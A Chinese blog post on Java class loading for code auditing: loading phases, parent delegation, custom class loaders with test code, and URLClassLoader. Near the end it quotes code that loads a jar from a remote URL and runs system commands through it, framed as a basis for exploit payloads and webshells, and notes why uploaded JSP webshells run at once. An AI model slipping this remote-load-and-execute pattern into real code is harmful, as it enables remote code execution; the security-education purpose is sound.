参考:

https://www.bilibili.com/video/BV1go4y197cL/

https://www.baeldung.com/java-classloaders

https://mp.weixin.qq.com/s/lX4IrOuCaSwYDtGQQFqseA

以 java 8 为例

什么是类加载

Java 是一种混合语言,它既有编译型语言的特性,又有解释型语言的特性。编译特性指所有的 Java 代码都必须经过编译才能运行。解释型指编译好的 .class 字节码需要经过 JVM 解释才能运行。.class 文件中存放着编译后的 JVM 指令的二进制信息。

当程序中用到某个类时,JVM 就会寻找加载对应的 .class 文件,并在内存中创建对应的 Class 对象。这个过程就称为类加载。

类的加载步骤

理论模型

从一个类的生命周期这个角度来看,一个类(.class) 必须经过加载、链接、初始化三个步骤才能在 JVM 中运行。

当 java 程序需要使用某个类时,JVM 会进行加载、链接、初始化这个类。

加载 Loading

通过类的完全限定名查找类的字节码文件,将类的 .class 文件字节码数据从不同的数据源读取到 JVM 中,并映射成 JVM 认可的数据结构。

这个阶段是用户可以参与的阶段,自定义的类加载器就是在这个过程。

连接 Linking

  • 验证:检查 JVM 加载的字节信息是否符合 java 虚拟机规范。

    确保被加载类的正确性,.class文件的字节流中包含的信息符合当前虚拟机要求,不会危害虚拟机自身安全。

  • 准备:这一阶段主要是分配内存。创建类或接口的静态变量,并给这些变量赋默认值

    只对 static 变量进行处理。而 final static 修饰的变量在编译的时候就会分配。

  • 例如: static int num = 5,此步骤会将 num 赋默认值 0,而 5 的赋值会在初始化阶段完成。

  • 解析:把类中的符号引用转换成直接引用。

    符号引用就是一组符号来描述目标,而直接引用就是直接指向目标的指针、相对偏移量或一个间接定位到目标的句柄。

初始化 Initialization

执行类初始化的代码逻辑。包括执行 static 静态代码块,给静态变量赋值。

具体实现

java.lang.ClassLoader 是所有的类加载器的父类,java.lang.ClassLoader 有非常多的子类加载器,比如我们用于加载 jar 包的 java.net.URLClassLoader ,后者通过继承 java.lang.ClassLoader 类,重写了findClass 方法从而实现了加载目录 class 文件甚至是远程资源文件。

三种内置的类加载器

  • Bootstrap ClassLoader 引导类加载器

    Java 类被 java.lang.ClassLoader 的实例加载,而 后者本身就是一个 java 类,谁加载后者呢?

    其实就是 bootstrap ClassLoader ,它是最底层的加载器,是 JVM 的一部分,使用 C++ 编写,故没有父加载器,也没有继承 java.lang.ClassLodaer 类,在代码中获取为 null。

    它主要加载 java 基础类。位于 JAVA_HOME/jre/lib/rt.jar 以及sun.boot.class.path 系统属性目录下的类。

    出于安全考虑,此加载器只加载 java、javax、sun 开头的类。

  • Extension ClassLoader 扩展类加载器

    负责加载 java 扩展类。位于是 JAVA_HOME/jre/lib/ext 目录下,以及 java.ext.dirs 系统属性的目录下的类。

    sun.misc.Launcher$ExtClassLoader
    // jdk 9 及之后
    jdk.internal.loader.ClassLoaders$PlatformClassLoader
  • App ClassLoader 系统类加载器

    又称 System ClassLoader ,主要加载应用层的类。位于 CLASS_PATH 目录下以及系统属性 java.class.path 目录下的类。

    它是默认的类加载器,如果类加载时我们不指定类加载器的情况下,默认会使用它来加载类。

    sun.misc.Launcher$AppClassLoader
    // jdk 9 及之后
    jdk.internal.loader.ClassLoaders$AppClassLOader
父子关系

AppClassLoader 父加载器为 ExtClassLoader,ExtClassLoader 父加载器为 null 。

很多资料和文章里说,ExtClassLoader 的父类加载器是 BootStrapClassLoader ,严格来说,ExtClassLoader 的父类加载器是 null,只不过在其的 loadClass 方法中,当 parent 为 null 时,是交给 BootStrap ClassLoader 来处理的。

双亲委派机制

试想几个问题:

  1. 有三种类加载器,如何保证一个类加载器已加载的类不会被另一个类加载器重复加载?

    势必在加载某个类之前,都要检查一下是否已加载过。如果三个内置的类加载器都没加载,则加载。

  2. 某些基础核心类,是可以让所有的加载器加载吗?

    比如 String 类,如果给它加上后门,放到 classpath 下,是让 appclassloader 加载吗?如果是被 appclassloader 加载,那么它需要做什么验证?如何进行验证?

为了解决上面的问题,java 采取的是双亲委派机制来协调三个类加载器。

每个类加载器对它加载的类都有一个缓存。

向上委托查找,向下委托加载。

  • 类的唯一性

    可以避免类的重复加载,当父类加载器已经加载了该类时,就没有必要子 ClassLoader 再加载一次,保证加载的 Class 在内存中只有一份。

    子加载器可以看见父加载器加载的类。而父加载器没办法得知子加载器加载的类。如果 A 类是通过 AppClassLoader 加载,而 B 类通过ExtClassLoader 加载,那么对于 AppClassLoader 加载的类,它可以看见两个类。而对于 ExtClassLoader ,它只能看见 B 类。

  • 安全性

    考虑到安全因素,Java 核心 Api 中定义类型不会被随意替换,假设通过网络传递一个名为 java.lang.Object 的类,通过双亲委派模式传递到启动类加载器,而启动类加载器在核心 JavaAPI 发现这个名字的类,发现该类已被加载,并不会重新加载网络传递过来的 java.lang.Object,而直接返回已加载过的 Object.class,这样可以防止核心API库被随意窜改。

加载步骤及代码细节

public Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException

此函数是类加载的入口函数。resolve 这个参数就是表示需不需要进行 连接阶段。

下面是截取的部分代码片段,从这个片段中可以深刻体会双亲委派机制。

Class<?> c = findLoadedClass(name);

在类加载缓存中寻找是否已经加载该类。它最终调用的是 native 方法。

if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}

如果父加载器不为空,则让递归让父加载器去加载此类。

如果父加载器为空,则调用 Bootstrap 加载器去加载此类。此处也即为何说 ExtClassLoader 的父加载器为 null,而非 Bootstrap 。

c = findClass(name);

如果查询完所有父亲仍未找到,说明此类并未加载,则调用 findClass 方法来寻找并加载此类。我们自定义类加载器,主要重写的就是 findClass 。

总结

ClassLoader类有如下核心方法:

  1. loadClass(加载指定的Java类)
  2. findLoadedClass(查找JVM已经加载过的类)
  3. findClass(查找指定的Java类)
  4. defineClass(定义一个Java类)
  5. resolveClass(链接指定的Java类)

理解Java类加载机制并非易事,这里我们以一个 Java 的 HelloWorld 来学习 ClassLoader

ClassLoader 加载 com.example.HelloWorld 类重要流程如下:

  1. ClassLoader 调用 loadClass 方法加载 com.example.HelloWorld 类。
  2. 调用 findLoadedClass 方法检查 TestHelloWorld 类是否已经加载,如果 JVM 已加载过该类则直接返回类对象。
  3. 如果创建当前 ClassLoader 时传入了父类加载器(new ClassLoader(父类加载器))就使用父类加载器加载 TestHelloWorld 类,否则使用 JVM 的 Bootstrap ClassLoader 加载。
  4. 如果上一步无法加载 TestHelloWorld 类,那么调用自身的 findClass 方法尝试加载TestHelloWorld 类。
  5. 如果当前的 ClassLoader 没有重写了 findClass 方法,那么直接返回类加载失败异常。如果当前类重写了 findClass 方法并通过传入的 com.example.HelloWorld 类名找到了对应的类字节码,那么应该调用 defineClass 方法去JVM中注册该类。
  6. 如果调用 loadClass 的时候传入的 resolve 参数为 true,那么还需要调用 resolveClass 方法链接类,默认为 false。
  7. 返回一个被 JVM 加载后的java.lang.Class类对象。

自定义类加载器

用途

大多数情况下,内置的类加载器够用了,但是当加载位于磁盘上其它位置,或者位于网络上的类时,或者需要对类做加密等,就需要自定义类加载器。

一些使用场景:通过动态加载不同实现的驱动的 jdbc。以及编织代理可以更改已知的字节码。以及类名相同的多版本共存机制。

具体实现

我们通常实现自定义类加载器,主要就是重写 findClass 方法。

protected Class<?> findClass(String name) throws ClassNotFoundException

从网络或磁盘文件(.class, jar, 等任意后缀文件) 上读取类的字节码。然后将获取的类字节码传给 defineClass 函数来定义一个类。

protected final Class<?> defineClass(String name, byte[] b, int off, int len) throws ClassFormatError

它最终调用也是 native 方法。

示例代码

使用类字节码中加载类
@Test
public void test3(){
Double salary = 2000.0;
Double money;
{
byte[] b = new byte[]{-54, -2, -70, -66, 0, 0, 0, 52, 0, 32, 10, 0, 7, 0, 21, 10, 0, 22, 0, 23, 6, 63, -15, -103, -103, -103, -103, -103, -102, 10, 0, 22, 0, 24, 7, 0, 25, 7, 0, 26, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 26, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 83, 97, 108, 97, 114, 121, 67, 97, 108, 101, 114, 49, 59, 1, 0, 3, 99, 97, 108, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 1, 0, 6, 115, 97, 108, 97, 114, 121, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 17, 83, 97, 108, 97, 114, 121, 67, 97, 108, 101, 114, 49, 46, 106, 97, 118, 97, 12, 0, 8, 0, 9, 7, 0, 27, 12, 0, 28, 0, 29, 12, 0, 30, 0, 31, 1, 0, 24, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 83, 97, 108, 97, 114, 121, 67, 97, 108, 101, 114, 49, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 1, 0, 11, 100, 111, 117, 98, 108, 101, 86, 97, 108, 117, 101, 1, 0, 3, 40, 41, 68, 1, 0, 7, 118, 97, 108, 117, 101, 79, 102, 1, 0, 21, 40, 68, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 0, 33, 0, 6, 0, 7, 0, 0, 0, 0, 0, 2, 0, 1, 0, 8, 0, 9, 0, 1, 0, 10, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 11, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 12, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 13, 0, 14, 0, 0, 0, 1, 0, 15, 0, 16, 0, 1, 0, 10, 0, 0, 0, 64, 0, 4, 0, 2, 0, 0, 0, 12, 43, -74, 0, 2, 20, 0, 3, 107, -72, 0, 5, -80, 0, 0, 0, 2, 0, 11, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 12, 0, 0, 0, 22, 0, 2, 0, 0, 0, 12, 0, 13, 0, 14, 0, 0, 0, 0, 0, 12, 0, 17, 0, 18, 0, 1, 0, 1, 0, 19, 0, 0, 0, 2, 0, 20};
money = calSalary(salary,b);
System.out.println("money: " + money);
}
}
private Double calSalary(Double salary,byte[] bytes) {
Double ret = 0.0;
try {
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
Class<?> clazz = (Class<?>) method.invoke(this.getClass().getClassLoader(), "ClassLoader.SalaryCaler1", bytes, 0, bytes.length);
System.out.println(clazz.getClassLoader());
Object object = clazz.getConstructor().newInstance();
Method cal = clazz.getMethod("cal",Double.class);
ret = (Double)cal.invoke(object,salary);
} catch (Exception e) {
e.printStackTrace();
}
return ret;
}
从文件中读取类字节码加载类
@Test
// 自定义类加载器,从 .myclass 文件中中加载类。
public void test4(){
// 将其它方法全注释,并且 ClassLoader.SalaryCaler 文件更名。
try {
Double salary = 2000.0;
Double money;
SalaryClassLoader classLoader = new SalaryClassLoader("C:\\Users\\EA\\Desktop\\important_doc\\java\\build\\ideaprojects\\demos\\underlying\\target\\classes\\");
money = calSalary(salary, classLoader);
System.out.println("money: " + money);
} catch (Exception e) {
e.printStackTrace();
}
}
private Double calSalary(Double salary, SalaryClassLoader classLoader) throws Exception { Class<?> clazz = classLoader.loadClass("ClassLoader.SalaryCaler1");
System.out.println(clazz.getClassLoader()); Object object = clazz.getConstructor().newInstance();
Method cal = clazz.getMethod("cal",Double.class); return (Double)cal.invoke(object,salary);
}
package ClassLoader;

import org.apache.commons.io.IOUtils;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.security.SecureClassLoader; public class SalaryClassLoader extends SecureClassLoader {
private String classPath; public SalaryClassLoader(String classPath) {
this.classPath = classPath;
} @Override
protected Class<?> findClass(String name)throws ClassNotFoundException {
String filePath = this.classPath + name.replace(".", "/").concat(".myclass");
byte[] b = null;
Class<?> aClass = null;
try (FileInputStream fis = new FileInputStream(new File(filePath))) {
b = IOUtils.toByteArray(fis);
aClass = this.defineClass(name, b, 0, b.length);
} catch (Exception e) {
e.printStackTrace();
}
return aClass;
}
}
从 jar 包中读取类字节码加载类
@Test
//自定义类加载器,从 jar 包中加载 .myclass
public void test5(){
try {
Double salary = 2000.0;
Double money;
SalaryJarLoader classLoader = new SalaryJarLoader("C:\\Users\\EA\\Desktop\\important_doc\\java\\build\\ideaprojects\\demos\\out\\artifacts\\SalaryCaler\\SalaryCaler.jar");
money = calSalary(salary, classLoader);
System.out.println("money: " + money);
} catch (Exception e) {
e.printStackTrace();
}
}
private Double calSalary(Double salary, SalaryJarLoader classLoader) throws Exception {
Class<?> clazz = classLoader.loadClass("ClassLoader.SalaryCaler1");
System.out.println(clazz.getClassLoader()); Object object = clazz.getConstructor().newInstance();
Method cal = clazz.getMethod("cal",Double.class); return (Double)cal.invoke(object,salary);
}
package ClassLoader;

import org.apache.commons.io.IOUtils;

import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.SecureClassLoader; public class SalaryJarLoader extends SecureClassLoader {
private String jarPath; public SalaryJarLoader(String jarPath) {
this.jarPath = jarPath;
} @Override
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
Class<?> c = null;
synchronized (getClassLoadingLock(name)){
c = findLoadedClass(name);
if(c == null){
c = this.findClass(name);
// System.out.println(c);
if( c == null){
c = super.loadClass(name,resolve);
}
}
}
return c;
} @Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
try {
URL jarUrl = new URL("jar:file:\\"+jarPath+"!/"+name.replace(".","/").concat(".myclass"));
InputStream is = jarUrl.openStream(); byte[] b = IOUtils.toByteArray(is);
ret = this.defineClass(name,b,0,b.length);
} catch (Exception e) {
// e.printStackTrace();
}
return ret;
} }

打破双亲委派机制

重写继承而来的 loadClass 方法。

使其优先从本地加载,本地加载不到再走双亲委派机制。

@Override
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
Class<?> c = null;
synchronized (getClassLoadingLock(name)){
c = findLoadedClass(name);
if(c == null){
c = this.findClass(name);
if( c == null){
c = super.loadClass(name,resolve);
}
}
}
return c;
}

其它

URLClassLoader

URLClassLoader 提供了加载远程资源的能力,在写漏洞利用的 payload 或者 webshell 的时候我们可以使用它来加载远程的 jar 来实现远程的类方法调用。

在 java.net 包中,JDK提供了一个易用的类加载器 URLClassLoader,它继承了 ClassLoader。

public URLClassLoader(URL[] urls)
//指定要加载的类所在的URL地址,父类加载器默认为 AppClassLoader。
public URLClassLoader(URL[] urls, ClassLoader parent)
//指定要加载的类所在的URL地址,并指定父类加载器。

从本地 jar 包中加载类

@Test
// 从 jar 包中加载类
public void test3() {
try {
Double salary = 2000.0;
Double money;
URL jarUrl = new URL("file:C:\\Users\\EA\\Desktop\\important_doc\\java\\build\\ideaprojects\\demos\\out\\artifacts\\SalaryCaler\\SalaryCaler.jar");
try (URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{jarUrl})) {
money = calSalary(salary, urlClassLoader);
System.out.println("money: " + money);
}
} catch (Exception e) {
e.printStackTrace();
}
}
private Double calSalary(Double salary, URLClassLoader classLoader) throws Exception {
Class<?> clazz = classLoader.loadClass("ClassLoader.SalaryCaler");
Object object = clazz.getConstructor().newInstance();
Method cal = clazz.getMethod("cal",Double.class); return (Double)cal.invoke(object,salary);
}

从网络 jar 包中加载类

package com.anbai.sec.classloader;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader; /**
* Creator: yz
* Date: 2019/12/18
*/
public class TestURLClassLoader { public static void main(String[] args) {
try {
// 定义远程加载的jar路径
URL url = new URL("https://anbai.io/tools/cmd.jar"); // 创建URLClassLoader对象,并加载远程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url}); // 定义需要执行的系统命令
String cmd = "ls"; // 通过URLClassLoader加载远程jar包中的CMD类
Class cmdClass = ucl.loadClass("CMD"); // 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd); // 获取命令执行结果的输入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1; // 读取命令执行结果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
} // 输出命令执行结果
System.out.println(baos.toString());
} catch (Exception e) {
e.printStackTrace();
}
} }
import java.io.IOException;

/**
* Creator: yz
* Date: 2019/12/18
*/
public class CMD { public static Process exec(String cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
} }

jsp webshell

为什么上传的 jsp webshell 能立即访问,按道理来说 jsp 要经过 servlet 容器处理转化为 servlet 才能执行。而通常开发过程需要主动进行更新资源、或者重新部署、重启 tomcat 服务器。

这是因为 tomcat 的 热加载机制 。而之所以 JSP 具备热更新的能力,实际上借助的就是自定义类加载行为,当 Servlet 容器发现 JSP 文件发生了修改后就会创建一个新的类加载器来替代原类加载器,而被替代后的类加载器所加载的文件并不会立即释放,而是需要等待 GC。

Java 代码审计 — 1. ClassLoader的更多相关文章

  1. Java 类加载机制 ClassLoader Class.forName 内存管理 垃圾回收GC

    [转载] :http://my.oschina.net/rouchongzi/blog/171046 Java之类加载机制 类加载是Java程序运行的第一步,研究类的加载有助于了解JVM执行过程,并指 ...

  2. 【Java核心】ClassLoader原理及其使用

    又把博客的皮肤换了换,看着更加简洁舒心一些.前段的知识只是略懂,拿过来就能用,只是自己的审美和设计水平有限,实在难以弄出自己特别满意的东西,也算是小小的遗憾吧!言归正传,由于最近涉及到Java核心的东 ...

  3. java代码审计中的一些常见漏洞及其特征函数

    文章来源:https://xz.aliyun.com/t/1633 最近在先知上看到之前有篇关于java代码审计的文章总结的蛮好,记录以下特征函数,方便查阅,同时自己也会将在平时代码审计过程中积累的函 ...

  4. 深入理解Java类加载器(ClassLoader)

    深入理解Java类加载器(ClassLoader) Java学习记录--委派模型与类加载器 关于Java类加载双亲委派机制的思考(附一道面试题) 真正理解线程上下文类加载器(多案例分析) [jvm解析 ...

  5. Java代码审计入门篇

    作者:i春秋核心白帽yanzmi 原文来自:https://bbs.ichunqiu.com/thread-42149-1-1.html 本期斗哥带来Java代码审计的一些环境和工具准备. Java这 ...

  6. java代码审计文章集合

    0x00 前言 java代码审计相关文章整理,持续更新. 0x01 java环境基础 搭建Java Web开发环境   配置IDEA编辑器开发java web,从0创建项目   IDEA动态调试   ...

  7. [代码审计]某租车系统JAVA代码审计[前台sql注入]

    0x00 前言 艰难徘徊这么久,终于迈出第一步,畏畏缩缩是阻碍大多数人前进的绊脚石,共勉. 系统是租车系统,这个系统是Adog师傅之前发在freebuf(http://www.freebuf.com/ ...

  8. Java代码审计连载之—SQL注入

    前言近日闲来无事,快两年都没怎么写代码了,打算写几行代码,做代码审计一年了,每天看代码都好几万行,突然发现自己都不会写代码了,真是很DT.想当初入门代码审计的时候真是非常难,网上几乎找不到什么java ...

  9. 深入理解Java类加载器(ClassLoader) (转)

    转自: http://blog.csdn.net/javazejian/article/details/73413292 关联文章: 深入理解Java类型信息(Class对象)与反射机制 深入理解Ja ...

随机推荐

  1. js--标签语法的使用

    前言 在日常开发中我们经常使用到递归.break.continue.return等语句改变程序运行的位置,其实,在 JavaScript 中还提供了标签语句,用于标记指定的代码块,便于跳转到指定的位置 ...

  2. SpringBoot 后端接收前端传值的方法

    1.通过HttpServletRequest接收,适用于GET 和 POST请求方式       通过HttpServletRequest对象获取请求参数 @RestController @Reque ...

  3. 2021-2022 20211420 《信息安全专业导论》安装Linux操作系统并学习Linux基础

    作业信息 |作业属于|https://edu.cnblogs.com/campus/besti/2021-2022-1fois |作业要求|https://edu.cnblogs.com/campus ...

  4. 半天撸一个简易版mybatis

    为什么需要持久层框架? 首先我们先看看使用原生jdbc存在的问题? public static void main(String[] args) { Connection connection = n ...

  5. Java:Set接口小记

    Java:Set接口小记 对 Java 中的 Set接口 与 其实现类,做一个微不足道的小小小小记 概述 public interface Set<E> extends Collectio ...

  6. RogrePirates Scrum Meeting 博客汇总

    RogrePirates 博客目录 一.Scrum Meeting 1.Alpha阶段 第一次会议 第二次会议 第三次会议 第四次会议 第五次会议 第六次会议 第七次会议 第八次会议 第九次会议 第十 ...

  7. [技术博客]Unity3d 动画控制

    在制作游戏时,导入的箱子模型本身自带动画.然而,它的动画是一个从打开到关闭的完整过程,并且没有给出控制打开关闭的方法. 最直接的想法是对该动画进行拆分,再封装成不同的动画状态,但是不巧的是,这个动画被 ...

  8. 用cmd命令行创建vue项目模板

    1.进入cmd命令行 输入存放项目的位置 2.通过vue create 项目名称 创建项目 3.选择Manually select features 4.通过空格选中第1.2.5.6.7.去掉8 4. ...

  9. 嵌入式物联网之SPI接口原理与配置

    本实验采用W25Q64芯片 W25Q64是华邦公司推出的大容量SPI FLASH产品,其容量为64Mb.该25Q系列的器件在灵活性和性能方面远远超过普通的串行闪存器件.W25Q64将8M字节的容量分为 ...

  10. 2021NOI同步赛

    \(NOI\) 网上同步赛 明白了身为菜鸡的自己和普通人的差距 DAY1 \(T1\) 轻重边 [题目描述] 小 W 有一棵 \(n\) 个结点的树,树上的每一条边可能是轻边或者重边.接下来你需要对树 ...